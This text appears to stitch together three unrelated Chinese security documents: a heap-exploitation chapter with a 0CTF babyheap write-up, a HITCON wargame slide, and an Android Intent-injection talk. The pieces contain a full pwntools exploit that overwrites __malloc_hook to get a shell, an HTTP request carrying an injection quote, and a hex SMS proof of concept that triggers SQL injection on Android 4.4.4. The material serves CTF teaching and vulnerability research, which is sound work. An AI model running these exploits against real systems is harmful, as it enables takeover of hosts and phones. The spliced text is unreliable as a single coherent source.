11.3.2
fastbin dup consolidate
fastbin dup consolidate 是另一种绕过 fastbin 二次释放检查的方法。我们知道 libc 在分配 large
chunk 时，如果 fastbins 不为空，则调用 malloc_consolidate()函数合并里面的 chunk，并放入 unsorted
bin；接下来，unsorted bin 中的 chunk 又被取出放回各自对应的 bins。此时 fastbins 被清空，再次释
放时也就不会触发二次释放。
if (in_smallbin_range (nb)) {
......
} else {
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
for (;; ) {
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) {
......
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
......
/* place chunk in bin */
if (in_smallbin_range (size)) {
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
} else {
示例程序如下。
#include <stdio.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(8);
void* p2 = malloc(8);
fprintf(stderr, "malloc two fastbin chunk: p1=%p p2=%p\n", p1, p2);
free(p1);
fprintf(stderr, "free p1\n");
第 11 章
堆利用 ┃ LVII
void* p3 = malloc(0x400);
fprintf(stderr, "malloc large chunk: p3=%p\n", p3);
free(p1);
fprintf(stderr, "double free p1\n");
fprintf(stderr, "malloc two fastbin chunk: %p %p\n", malloc(8), malloc(8));
}
$ gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate
$ ./fastbin_dup_consolidate
malloc two fastbin chunk: p1=0x7f9010 p2=0x7f9030
free p1
malloc large chunk: p3=0x7f9050
double free p1
malloc two fastbin chunk: 0x7f9010 0x7f9010
与fastbin dup中两个被释放的chunk都被放入fastbins不同，此次释放的两个chunk分别位于small
bins 和 fastbins。此时连续分配两个相同大小的 fastbin chunk，分别从 fastbins 和 small bins 中取出，
如下所示。
gef➤
heap bins fast
Fastbins[idx=0, size=0x10]
←
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
gef➤
heap bins small
[+] small_bins[1]: fw=0x602000, bk=0x602000
→
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
gef➤
x/12gx 0x602010 - 0x10
0x602000:
0x0000000000000000
0x0000000000000021
# p1
0x602010:
0x0000000000000000
0x00007ffff7dd1b88
0x602020:
0x0000000000000020
0x0000000000000020
# p2
0x602030:
0x0000000000000000
0x0000000000000000
0x602040:
0x0000000000000000
0x0000000000000411
# p3
0x602050:
0x0000000000000000
0x0000000000000000
gef➤
x/20gx (void *)&main_arena + 0x8
0x7ffff7dd1b28: 0x0000000000602000
0x0000000000000000
# fastbins
0x7ffff7dd1b38: 0x0000000000000000
0x0000000000000000
......
0x7ffff7dd1b68: 0x0000000000000000
0x0000000000000000
0x7ffff7dd1b78: 0x0000000000602450
0x0000000000000000
# unsorted thunks
0x7ffff7dd1b88: 0x00007ffff7dd1b78
0x00007ffff7dd1b78
# small_bins thunks
0x7ffff7dd1b98: 0x0000000000602000
0x0000000000602000
# fd, bk
0x7ffff7dd1ba8: 0x00007ffff7dd1b98
0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x00007ffff7dd1ba8
0x00007ffff7dd1ba8
需要注意的是，虽然fastbin chunk 的next chunk的 PREV_INUSE标志永远为 1，但是如果该fastbin
chunk 被放到 unsorted bin 中，next chunk 的 PREV_INUSE 也会相应被修改为 0。这一点对构造不安
全的 unlink 攻击很有帮助。
图 11-12 展示了 chunk p1 同时存在于 fastbins 和 small bins 中的情景。
第 11 章
堆利用 ┃ LVIII
图 11-12
chunk p1 同时存在于两个链表中
11.3.3
0CTF 2017：babyheap
例题来自 2017 年的 0CTF，考察了简单的堆利用技术。
$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ pwn checksec babyheap
Arch:
amd64-64-little
RELRO:
Full RELRO
Stack:
Canary found
NX:
NX enabled
PIE:
PIE enabled
程序分析
使用 IDA 进行逆向分析，程序可分为 Allocate、Fill、Free 和 Dump 四个部分。我们先来看负责
分配堆块的 Allocate 部分。
void __fastcall sub_D48(__int64 a1) {
signed int i; // [rsp+10h] [rbp-10h]
signed int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i ) {
if ( !*(_DWORD *)(0x18LL * i + a1) ) {
// table[i].in_use
printf("Size: ");
v2 = sub_138C();
// size
if ( v2 > 0 ) {
if ( v2 > 0x1000 )
v2 = 0x1000;
v3 = calloc(v2, 1uLL);
// buf
if ( !v3 )
exit(-1);
*(_DWORD *)(0x18LL * i + a1) = 1;
// table[i].in_use
*(_QWORD *)(a1 + 0x18LL * i + 8) = v2;
// table[i].size
第 11 章
堆利用 ┃ LIX
*(_QWORD *)(a1 + 0x18LL * i + 0x10) = v3;// table[i].buf_ptr
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
参数 a1 是 sub_B70 函数的返回值，是一个随机生成的内存地址，在该地址上通过 mmap 系统调
用开辟了一段内存空间，用于存放最多 16 个结构体，我们暂且称它为 table，每个结构体包含 in_use、
size 和 buf_ptr 三个域，分别表示堆块是否在使用、堆块大小和指向堆块缓冲区的指针。至于这里为
什么特意使用了 mmap，我们后面再解释。sub_D48 函数通过遍历找到第一个未被使用的结构体，然
后请求读入一个数作为 size，并分配 size 大小的堆块，最后更新该结构体。需要注意的是，这里使
用 calloc()而不是 malloc()作为堆块分配函数，意味着所得到的内存空间被初始化为 0。
然后来看负责填充的 Fill 部分。该函数首先读入一个数作为索引，找到其对应的结构体并判断
该结构体是否被使用，如果是，则读入第二个数作为 size，然后将该结构体的 buf_ptr 域和 size 作为
参数调用函数 sub_11B2()。
__int64 __fastcall sub_E7F(__int64 a1) {
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
// index
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 ) {
result = *(unsigned int *)(0x18LL * (signed int)result + a1);
// table[result].in_use
if ( (_DWORD)result == 1 ) {
printf("Size: ");
result = sub_138C();
// size
v3 = result;
if ( (signed int)result > 0 ) {
printf("Content: ");
result = sub_11B2(*(_QWORD *)(0x18LL * v2 + a1 + 0x10), v3);
// table[v2].buf_ptr, size
}
}
}
return result;
}
于是我们转到 sub_11B2()，该函数用于读入 a2 个字符到 a1 地址处。while 的逻辑保证了一定且
只能够读入 a2 个字符，但对于得到的字符串是否以“\n”结尾并不关心，这就为信息泄露埋下了隐
患。
unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2) {
第 11 章
堆利用 ┃ LX
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
ssize_t v4; // [rsp+18h] [rbp-8h]
if ( !a2 )
return 0LL;
v3 = 0LL;
while ( v3 < a2 ) {
v4 = read(0, (void *)(v3 + a1), a2 - v3);
if ( v4 > 0 ) {
v3 += v4;
}
else if ( *_errno_location() != 11 && *_errno_location() != 4 ) {
return v3;
}
}
return v3;
}
接下来是负责释放堆块的 Free 部分。该函数同样读入一个数作为索引，并找到对应的结构体，
释放堆块缓冲区，并将全部域清零。
__int64 __fastcall sub_F50(__int64 a1) {
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
// index
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 ) {
result = *(unsigned int *)(0x18LL * (signed int)result + a1);
// table[result].in_use
if ( (_DWORD)result == 1 ) {
*(_DWORD *)(0x18LL * v2 + a1) = 0;
// table[result].in_use
*(_QWORD *)(0x18LL * v2 + a1 + 8) = 0LL; // table[result].size
free(*(void **)(0x18LL * v2 + a1 + 0x10));// table[result].buf_ptr
result = 0x18LL * v2 + a1;
*(_QWORD *)(result + 0x10) = 0LL;
// table[result].buf_ptr
}
}
return result;
}
最后是负责信息泄露的 Dump 部分。该函数首先对索引对应的结构体进行判断，只有是被使用
的，才会调用函数 sub_130F，两个参数分别为结构体的 buf_ptr 和 size 域。函数 sub_130F()用于将字
符串写到标准输出，其实现方式与用于读入字符串的函数 sub_11B2()类似，严格限制了写出字符串
的长度。
回想一下，整个程序中其实有两个 size，一个是结构体的 size 域，被传递给 calloc()函数作为参
数，另一个是字符串长度的 size，被传递给 sub_11B2()函数。由于这两个 size 并没有限制相互之间
的大小关系，如果第二个 size 大于第一个 size，将会造成堆缓冲区的溢出。
第 11 章
堆利用 ┃ LXI
漏洞利用
根据上面的分析，我们知道程序的漏洞点是 sub_11B2()函数中的堆缓冲区溢出。程序开启了 PIE，
所以我们需要泄露 libc 的地址，泄露点在 sub_11B2()函数中；开启了 Full RELRO，则说明在漏洞利
用时，不能通过修改 GOT 表劫持程序的控制流，所以我们考虑使用劫持 malloc hook 函数的方式，
触发 one-gadget 得到 shell。
泄露 libc 的地址可以利用堆块重叠技术来实现，将一个 fast chunk 和一个 small chunk 进行重叠，
然后释放 small chunk，即可通过打印 fast chunk 的数据得到我们需要的地址。
首先创建 4 个 fast chunk 和 1 个 small chunk，初始内存布局如下所示。
gef➤
vmmap heap
Start
End
Offset
Perm Path
0x000055620c441000 0x000055620c443000 0x0000000000000000 r-x /.../babyheap
0x000055620c642000 0x000055620c643000 0x0000000000001000 r-- /.../babyheap
0x000055620c643000 0x000055620c644000 0x0000000000002000 rw- /.../babyheap
0x000055620ca32000 0x000055620ca53000 0x0000000000000000 rw- [heap]
gef➤
x/36gx 0x000055620ca32000
0x55620ca32000: 0x0000000000000000
0x0000000000000021
# chunk0
0x55620ca32010: 0x0000000000000000
0x0000000000000000
0x55620ca32020: 0x0000000000000000
0x0000000000000021
# chunk1
0x55620ca32030: 0x0000000000000000
0x0000000000000000
0x55620ca32040: 0x0000000000000000
0x0000000000000021
# chunk2
0x55620ca32050: 0x0000000000000000
0x0000000000000000
0x55620ca32060: 0x0000000000000000
0x0000000000000021
# chunk3
0x55620ca32070: 0x0000000000000000
0x0000000000000000
0x55620ca32080: 0x0000000000000000
0x0000000000000091
# chunk4
0x55620ca32090: 0x0000000000000000
0x0000000000000000
......
0x55620ca32100: 0x0000000000000000
0x0000000000000000
0x55620ca32110: 0x0000000000000000
0x0000000000020ef1
# top chunk
gef➤
search-pattern 0x000055620ca32010
[+] In (0x20dc959e0000-0x20dc959e1000), permission=rw-
0x20dc959e07c0 - 0x20dc959e07e0
→
"\x10\x20\xa3\x0c\x62\x55\x00\x00[...]"
gef➤
x/18gx 0x20dc959e07c0-0x10
0x20dc959e07b0: 0x0000000000000001
0x0000000000000010
# table
0x20dc959e07c0: 0x000055620ca32010
0x0000000000000001
0x20dc959e07d0: 0x0000000000000010
0x000055620ca32030
0x20dc959e07e0: 0x0000000000000001
0x0000000000000010
0x20dc959e07f0: 0x000055620ca32050
0x0000000000000001
0x20dc959e0800: 0x0000000000000010
0x000055620ca32070
0x20dc959e0810: 0x0000000000000001
0x0000000000000080
0x20dc959e0820: 0x000055620ca32090
0x0000000000000000
0x20dc959e0830: 0x0000000000000000
0x0000000000000000
我们来看虚拟内存映射的布局，第三行表示.bss 段，第四行表示 heap，在关闭 ASLR 的情况下，.bss
段的末尾地址等于 heap 的起始地址，而在开启 ASLR 的情况下，这两个地址之间其实是存在一段随
机偏移（Random brk offset）的。由于 heap 的初始化使用了 brk 系统调用，同时页（4KB）是内存分
第 11 章
堆利用 ┃ LXII
配的最小单位，所以地址的低 3 位总是 0x000，这一点非常重要。
接下来释放 chunk1 和 chunk2，此时在单链表 fastbin 中 chunk2->fd 指向 chunk1。如果利用堆溢
出漏洞修改 chunk2->fd，使其指向 chunk4，就可以将 small chunk 链接到 fastbin 中，当然还需要把
chunk4->size 的 0x91 改成 0x21 以绕过 malloc 对 fastbin chunk 大小的检查。
思考一下，其实我们并不知道 heap 的地址，因为它是随机的，但是我们知道 heap 起始地址的
低位字节一定是 0x00，从而推测出 chunk4 的低位字节一定是 0x80。于是我们也可以回答为什么在
申请 table 空间的时候使用 mmap 系统调用，而不是 malloc 系列函数，就是为了保证 chunk 是从 heap
的起始地址开始分配的。结果如下所示。
gef➤
x/36gx 0x000055620ca32000
0x55620ca32000: 0x0000000000000000
0x0000000000000021
# chunk0
0x55620ca32010: 0x4141414141414141
0x4141414141414141
0x55620ca32020: 0x0000000000000000
0x0000000000000021
# chunk1 [free]
0x55620ca32030: 0x0000000000000000
0x4141414141414141
0x55620ca32040: 0x0000000000000000
0x0000000000000021
# chunk2 [free]
0x55620ca32050: 0x000055620ca32080
0x0000000000000000
0x55620ca32060: 0x0000000000000000
0x0000000000000021
# chunk3
0x55620ca32070: 0x4141414141414141
0x4141414141414141
0x55620ca32080: 0x0000000000000000
0x0000000000000021
# chunk4
0x55620ca32090: 0x0000000000000000
0x0000000000000000
......
0x55620ca32100: 0x0000000000000000
0x0000000000000000
0x55620ca32110: 0x0000000000000000
0x0000000000020ef1
# top chunk
此时我们只需要再次申请空间，根据 fastbins 后进先出的机制，即可在原 chunk2 的位置创建一
个 new chunk1，在 chunk4 的位置创造一个重叠的 new chunk2，也就是本节所讲的 fastbin dup。
gef➤
x/36gx 0x000055620ca32000
0x55620ca32000: 0x0000000000000000
0x0000000000000021
# chunk0
0x55620ca32010: 0x4141414141414141
0x4141414141414141
0x55620ca32020: 0x0000000000000000
0x0000000000000021
# chunk1 [free]
0x55620ca32030: 0x0000000000000000
0x4141414141414141
0x55620ca32040: 0x0000000000000000
0x0000000000000021
# new chunk1
0x55620ca32050: 0x0000000000000000
0x0000000000000000
0x55620ca32060: 0x0000000000000000
0x0000000000000021
# chunk3
0x55620ca32070: 0x4141414141414141
0x4141414141414141
0x55620ca32080: 0x0000000000000000
0x0000000000000021
# chunk4, new chunk2
0x55620ca32090: 0x0000000000000000
0x0000000000000000
......
0x55620ca32100: 0x0000000000000000
0x0000000000000000
0x55620ca32110: 0x0000000000000000
0x0000000000020ef1
# top chunk
gef➤
x/18gx 0x20dc959e07c0-0x10
0x20dc959e07b0: 0x0000000000000001
0x0000000000000010
# table
0x20dc959e07c0: 0x000055620ca32010
0x0000000000000001
0x20dc959e07d0: 0x0000000000000010
0x000055620ca32050
0x20dc959e07e0: 0x0000000000000001
0x0000000000000010
0x20dc959e07f0: 0x000055620ca32090
0x0000000000000001
# table[2]
第 11 章
堆利用 ┃ LXIII
0x20dc959e0800: 0x0000000000000010
0x000055620ca32070
0x20dc959e0810: 0x0000000000000001
0x0000000000000080
0x20dc959e0820: 0x000055620ca32090
0x0000000000000000
# table[4]
0x20dc959e0830: 0x0000000000000000
0x0000000000000000
接下来我们将 chunk4->size 修改回 0x91，并申请另一个 small chunk 以防止 chunk4 与 top chunk
合并，此时释放 chunk4 就可将其放入 unsorted_bin。
gef➤
x/36gx 0x000055620ca32000
0x55620ca32000: 0x0000000000000000
0x0000000000000021
# chunk0
0x55620ca32010: 0x4141414141414141
0x4141414141414141
0x55620ca32020: 0x0000000000000000
0x0000000000000021
# chunk1 [free]
0x55620ca32030: 0x0000000000000000
0x4141414141414141
0x55620ca32040: 0x0000000000000000
0x0000000000000021
# chunk2
0x55620ca32050: 0x0000000000000000
0x0000000000000000
0x55620ca32060: 0x0000000000000000
0x0000000000000021
# chunk3
0x55620ca32070: 0x4141414141414141
0x4141414141414141
0x55620ca32080: 0x0000000000000000
0x0000000000000091
# chunk4 [free]
0x55620ca32090: 0x00007f3d58cabb78
0x00007f3d58cabb78
# fd, bk
0x55620ca320a0: 0x0000000000000000
0x0000000000000000
......
0x55620ca32100: 0x0000000000000000
0x0000000000000000
0x55620ca32110: 0x0000000000000090
0x0000000000000090
# chunk5
gef➤
heap bins unsorted
[+] unsorted_bins[0]: fw=0x55620ca32080, bk=0x55620ca32080
→
Chunk(addr=0x55620ca32090, size=0x90, flags=PREV_INUSE)
gef➤
vmmap libc
Start
End
Offset
Perm Path
0x00007f3d588e7000 0x00007f3d58aa7000 0x0000000000000000 r-x /.../libc-2.23.so
0x00007f3d58aa7000 0x00007f3d58ca7000 0x00000000001c0000 --- /.../libc-2.23.so
0x00007f3d58ca7000 0x00007f3d58cab000 0x00000000001c0000 r-- /.../libc-2.23.so
0x00007f3d58cab000 0x00007f3d58cad000 0x00000000001c4000 rw- /.../libc-2.23.so
此时被释放的 chunk4 的 fd，bk 指针均指向 libc 中的地址，只要将其泄露出来，通过计算即可
得到 libc 中的偏移，进而得到 one-gadget 的地址。
gef➤
p 0x00007f3d58cabb78 - 0x00007f3d588e7000
$1 = 0x3c4b78
我们知道，__malloc_hook 是一个弱类型的函数指针变量，指向 void * function(size_t size, void *
caller)，当调用 malloc()函数时，首先会判断 hook 函数指针是否为空，不为空则调用它。所以接下来
再次利用 fastbin dup 修改__malloc_hook 使其指向 one-gadget。但由于 fast chunk 的大小只能在 0x20
到 0x80 之间，我们就需要一点小小的技巧，即错位偏移，如下所示。
gef➤
x/10gx (long long)(&main_arena)-0x30
0x7f3d58cabaf0: 0x00007f3d58caa260
0x0000000000000000
0x7f3d58cabb00 <__memalign_hook>:
0x00007f3d5896ce20
0x00007f3d5896ca00
0x7f3d58cabb10 <__malloc_hook>: 0x0000000000000000
0x0000000000000000 # target
0x7f3d58cabb20 <main_arena>:
0x0000000000000000
0x0000000000000000
0x7f3d58cabb30 <main_arena+16>: 0x0000000000000000
0x0000000000000000
第 11 章
堆利用 ┃ LXIV
gef➤
x/8gx (long long)(&main_arena)-0x30+0xd
0x7f3d58cabafd: 0x3d5896ce20000000
0x3d5896ca0000007f
0x7f3d58cabb0d: 0x000000000000007f
0x0000000000000000
# fake chunk
0x7f3d58cabb1d: 0x0000000000000000
0x0000000000000000
0x7f3d58cabb2d: 0x0000000000000000
0x0000000000000000
我们先将一个 fast chunk 放进 fastbin（与 0x7f 大小的 fake chunk 相匹配），修改其 fd 指针指向
fake chunk。然后将 fake chunk 分配出来，进而修改其数据为 one-gadget。最后，只要调用 calloc()触
发 hook 函数，即可执行 one-gadget 获得 shell。
gef➤
x/24gx 0x20dc959e07c0-0x10
0x20dc959e07b0: 0x0000000000000001
0x0000000000000010
# table
0x20dc959e07c0: 0x000055620ca32010
0x0000000000000001
0x20dc959e07d0: 0x0000000000000010
0x000055620ca32050
0x20dc959e07e0: 0x0000000000000001
0x0000000000000010
0x20dc959e07f0: 0x000055620ca32090
0x0000000000000001
0x20dc959e0800: 0x0000000000000010
0x000055620ca32070
0x20dc959e0810: 0x0000000000000001
0x0000000000000060
0x20dc959e0820: 0x000055620ca32090
0x0000000000000001
0x20dc959e0830: 0x0000000000000080
0x000055620ca32120
0x20dc959e0840: 0x0000000000000001
0x0000000000000060
0x20dc959e0850: 0x00007f3d58cabb0d
0x0000000000000000
# table[6]
0x20dc959e0860: 0x0000000000000000
0x0000000000000000
gef➤
x/10gx (long long)(&main_arena)-0x30
0x7f3d58cabaf0: 0x00007f3d58caa260
0x0000000000000000
0x7f3d58cabb00 <__memalign_hook>:
0x00007f3d5896ce20
0x0000003d5896ca00
0x7f3d58cabb10 <__malloc_hook>:
0x00007f3d5892c26a
0x0000000000000000
0x7f3d58cabb20 <main_arena>:
0x0000000000000000
0x0000000000000000
0x7f3d58cabb30 <main_arena+16>:
0x0000000000000000
0x0000000000000000
其实，本题还有很多种调用 one-gadget 的方法，例如修改__realloc_hook 和__free_hook，或者修
改 IO_FILE 结构体等，我们会在 12.3 节中补充介绍。
解题代码
from pwn import *
io = remote('0.0.0.0', 10001)
# io = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def alloc(size):
io.sendlineafter("Command: ", '1')
io.sendlineafter("Size: ", str(size))
def fill(idx, cont):
io.sendlineafter("Command: ", '2')
io.sendlineafter("Index: ", str(idx))
io.sendlineafter("Size: ", str(len(cont)))
io.sendafter("Content: ", cont)
def free(idx):
io.sendlineafter("Command: ", '3')
io.sendlineafter("Index: ", str(idx))
第 11 章
堆利用 ┃ LXV
def dump(idx):
io.sendlineafter("Command: ", '4')
io.sendlineafter("Index: ", str(idx))
io.recvuntil("Content: \n")
return io.recvline()
def fastbin_dup():
alloc(0x10)
# chunk0
alloc(0x10)
# chunk1
alloc(0x10)
# chunk2
alloc(0x10)
# chunk3
alloc(0x80)
# chunk4
free(1)
free(2)
payload
= "A" * 0x10
payload += p64(0) + p64(0x21)
payload += p64(0) + "A" * 8
payload += p64(0) + p64(0x21)
payload += p8(0x80)
# chunk2->fd => chunk4
fill(0, payload)
payload
= "A" * 0x10
payload += p64(0) + p64(0x21)
# chunk4->size
fill(3, payload)
alloc(0x10)
# chunk1
alloc(0x10)
# chunk2, overlap chunk4
def leak_libc():
global libc_base, malloc_hook
payload
= "A" * 0x10
payload += p64(0) + p64(0x91)
# chunk4->size
fill(3, payload)
alloc(0x80)
# chunk5
free(4)
leak_addr = u64(dump(2)[:8])
libc_base = leak_addr - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.info("leak address: 0x%x" % leak_addr)
log.info("libc base: 0x%x" % libc_base)
log.info("__malloc_hook address: 0x%x" % malloc_hook)
def pwn():
alloc(0x60)
# chunk4
free(4)
fill(2, p64(malloc_hook - 0x20 + 0xd))
第 11 章
堆利用 ┃ LXVI
alloc(0x60)
# chunk4
alloc(0x60)
# chunk6 (fake chunk)
one_gadget = libc_base + 0x4526a
fill(6, p8(0)*3 + p64(one_gadget))
# __malloc_hook => one-gadget
alloc(1)
io.interactive()
if __name__=='__main__':
fastbin_dup()
leak_libc()
pwn() | pdf |
HITCON GIRLS
Wargame
2014/12/07
Allen Own
[email protected]
GET / HTTP/1.1
Host: devco.re
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:33.0) Gecko/
20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-tw,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://devco.re/
Cookie: user=admin
X-Forwarded-For: 127.0.0.1'
Connection: keep-alive | pdf |
2015-‐8 汪涛
¡
汪涛 of BaiduX-‐Team，ID neobyte
¡
多年安全评估经验，涉及⽅方向较杂，web安全、java安全、android安
全、前端安全…
3
parseUri注入
PendingIntent误用
Action/Component/Data注入
Intent转换与复制
Intent注⼊入的概念
¡ Android提供的⼀一种java环境下IPC的形式。Intent是⼀一种
IPC消息对象，用于向APP的组件请求⼀一次操作
§ 发送与接收组件可能运⾏行在同⼀一个APP或不同的APP（进程）中
§ 请求的操作可以是启动⼀一个Activity，Service或处理Broadcast
§ Intent中通常有Action（⾏行动）或Component（目标组件名），系
统据此决定接收Intent的目标组件
§ Intent中还通常包含额外的数据（Extras，Data），供目标组件处
理
Action
Compo
Extras
Data
…
Intent
¡ Intent是安卓app的重要本地攻击界面：APP公开
组件接收外部Intent数据处理时可能存在安全漏洞
¡ 实例：
§
Webview JsInterface
§
SQL injection
§
Path Traversal
§
权限泄漏，⽹网络权限，读写短信的权限
Action
Compo
Extras
Data
…
Intent
目标
数据
¡
http://oasam.org/en/oasam/oasam-‐dv-‐data-‐validation/oasam-‐dv-‐007-‐
intent-‐injection
¡
If user’s input is loaded in a dynamic manner in the Intent data, a
malicious user could manipulate such data in order to execute code
through it. In particular, the existence of dynamic data must be checked
while including such data in an Intent, especially through the following
Intent methods: addCategory(), setAction(), setClass(), setClassName(),
setComponent(), setData() and setDataAndType().
App
Intent
startService
Activity
Service
Receiver
外部输⼊入
¡ 本地Intent注⼊入的风险
§ 本地权限提升
§ 访问私有组件等
¡ 场景
§ 某APP存在本地Intent注⼊入漏洞，因此注⼊入的
Intent可以攻击其敏感的私有组件
§ System权限的APP若存在Intent注⼊入漏洞，可以
绕过IPC权限，启动⼀一些敏感的组件，例如
launchAnyWhere, BroadcastAnyWhere
¡ 远程Intent注⼊入的风险
§ 等同于有限的远程命令执⾏行
§ 本地暴露组件的漏洞可从远程攻击
¡ 场景
§ 来自⽹网页中的JS，可以发起intent，播打电话
§ 来自通信⽹网络中的短信，可以发起intent
Intent转换与复制
n构造intent的元素来自外部
nAction注⼊入
nComponent注⼊入
nData注⼊入
n泄漏pendingintent可能使其
他进程修改intent并以APP的
身份发出
n Intent.parseUri可解析String
为Intent，如果未进⾏行校验，
可能被攻击者篡改Intent
n完整接收intent后转发
nIntent代理
ngetParcelable()
nnew Intent(intent)
Action/Compo/Data注⼊入
PendingIntent误用
parseUri注⼊入
• ⼀一个开源的java bytecode 缺陷分析⼯工具
• 分析⼀一个目录下的所有class⽂文件
• 编译安卓4.4.4，得到所有中间过程的class⽂文件
（这样就⽆无需dex2jar），共约3万个class
11
parseUri注入
PendingIntent误用
Action/Component/Data注入
Intent转换与复制
Intent注入的概念
¡ 最早由申迪分析，AccountManager存在缺陷，恶意APP可
以发出任意intent来启动activity（绕过IPC权限限制）
（ http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-‐google-‐bug-‐
7699048/ ）
¡ 本质上就是⼀一个intent注⼊入
android.accounts.AccountManager$AmsTask$Response.onResult(Bundle)
¡ Intent本身可以传递数据。如果在intent中传递⼀一个intent，
往往代表需要用这个intent发起⼀一个新的IPCàintent注⼊入
¡ 为了寻找这种Intent转换的特征，可以看看Bytecode
android.accounts.AccountManager$AmsTask$Response.onResult(Bundle)
¡ 在findbugs中扫描所有Bytecode指令，如果是checkcast，
进⼀一步检查是否是cast为intent类型
¡ 对Android 4.4全系统扫描后发现106例Intent的checkcast，
根据是否在同⽅方法中发送了该intent调整优先级，结果第
⼀一个就是launchAnywhere漏洞，另外还发现⼀一个0day…
¡
ChooserActivity存在Intent注⼊入漏洞，恶意⽆无权限APP可以System权限
启动任意Activity（类似launchAnywhere）
¡
安卓Framework层有⼀一个导出的Activity组件：ChooserActivity
com.android.internal.app.ChooserActivity (4.4.4版截图）
¡
启动该activity会从输⼊入intent中读取EXTRA_INTENT与
EXTRA_INITIAL_INTENTS，分别是⼀一个intent以及⼀一个intent数组，然
后传递给super.onCreate
¡
super类为com.android.internal.app.ResolverActivity，将启动用户选择
的intent
¡
2012年（4.1）的⼀一个补丁中增加了对是否有权限启动
EXTRA_INTENT的检查，但依然遗漏了对EXTRA_INITIAL_INTENTS的
检查，所以可以利用EXTRA_INITIAL_INTENTS来launchAnywhere
¡
https://android.googlesource.com/platform/frameworks/base/+/5320eb8
938098c9824093f7f842a0a97bbc190a4%5E%21/#F4
Whether an instance of the activity can be launched into the process of the
component that started it -‐ "true" if it can be, and "false" if not. The default value
is "false“. Normally, a new instance of an activity is launched into the process of
the application that defined it
¡ 但当我们去launch时，发现权限错误…
¡
http://developer.android.com/guide/topics/manifest/activity-‐
element.html#multi
¡
com.android.server.am.ActivityRecord
¡
com.android.server.am.PendingIntentRecord
¡
com.android.server.am.ActivityManagerService
¡
com.android.server.am.ActivityStackSupervisor
¡
com.android.server.am.ActivityStackSupervisor
¡ 通过pendingintent，ChooserActivity将在
system进程启动并launch我们的intent
¡ 因为是system进程，可以
启动需要权限的Activity，
或者是私有的Activity
¡ Demo演示弹出两个图标
让用户选择，如果选择了
⼿手机，将开始拨打电话
¡
2014-‐09-‐15报告给Android，但是…
¡
补丁 com.android.internal.app.ResolverActivity，startActivityAsCaller
¡
Fix issue #14617210: Apps can gain access to any ContentProvider with
grantUriPermissions(no user interaction required)
https://android.googlesource.com/platform/frameworks/base/+/028ceeb
472801bcfa5844fc89ed0da8463098824
Thanks for the report. This issue was previously reported to us by another
researcher. We're testing a fix for the next release of Android.
We ask that you keep this issue confidential until our fix is released.
¡
https://android.googlesource.com/platform/frameworks/base/+/android-‐
5.1.1_r8/packages/Shell/src/com/android/shell/BugreportWarningActivity.java
¡
https://android.googlesource.com/platform/packages/apps/Camera2/+/android-‐
5.1.1_r8/src/com/android/camera/ProxyLauncher.java
¡
https://android.googlesource.com/platform/packages/apps/Settings/+/android-‐
5.1.1_r8/src/com/android/settings/users/AppRestrictionsFragment.java
¡
https://android.googlesource.com/platform/packages/apps/Browser/+/android-‐
5.1.1_r8/src/com/android/browser/widget/BookmarkWidgetProxy.java
31
parseUri注入
PendingIntent误用
Action/Component/Data注⼊入
Intent转换与复制
Intent注入的概念
¡ Action/Component/Data仅仅是狭义的举例，
实际范畴是所有构成Intent的元素均可被注
⼊入
¡ 攻击者可以控制发送intent的目标或数据，
或者是全部
Action
Compo
Extras
Data
…
Intent
¡ curesec发现的安卓拨打电话权限绕过漏洞CVE-‐2013-‐6272
（<4.4.2，http://blog.curesec.com/article/blog/35.html）
com.android.phone.PhoneGlobals$NotificationBroadcastReceiver
¡
用数据流分析⽅方法，分析java对象的数据污染扩散
¡
source：binder接⼝口为数据⼊入⼝口
¡
sink： setAction(), setClass(), setClassName(), setComponent(), setData()
setDataAndType()这些为目标
¡
跨过程的数据流分析
¡
缺陷：误报率较⾼高（>1k），但依然发现了⼀一个0dayJ
¡ WapPushManager中存在的SQL注⼊入，也是Intent注⼊入，攻
击者可以远程发送恶意wappush指令，让⼿手机启动组件
¡ 我们在2014-‐10-‐11报告安卓，2014-‐11-‐8确认
com.android.smspush.WapPushManager
¡ 通过模拟端⼝口发送wappush sms
¡ ⼿手机收到后，触发SQL注⼊入，查询出settings的component
并启动
¡ 4.4.4的POC如下
0891683108200105f04408a00156
08860104216092902512237B0605
040b8423f00A065603B081EAAF2
720756e696f6e2073656c65637420
302c27636f6d2e616e64726f6964
2e73657474696e6773272c27636f6
d2e616e64726f69642e736574746
96e67732e53657474696e6773272c
302c302c302d2d200002066A008
509036D6F62696C65746964696E
67732E636F6D2F0001
37
parseUri注入
PendingIntent误用
Action/Component/Data注入
Intent转换与复制
Intent注入的概念
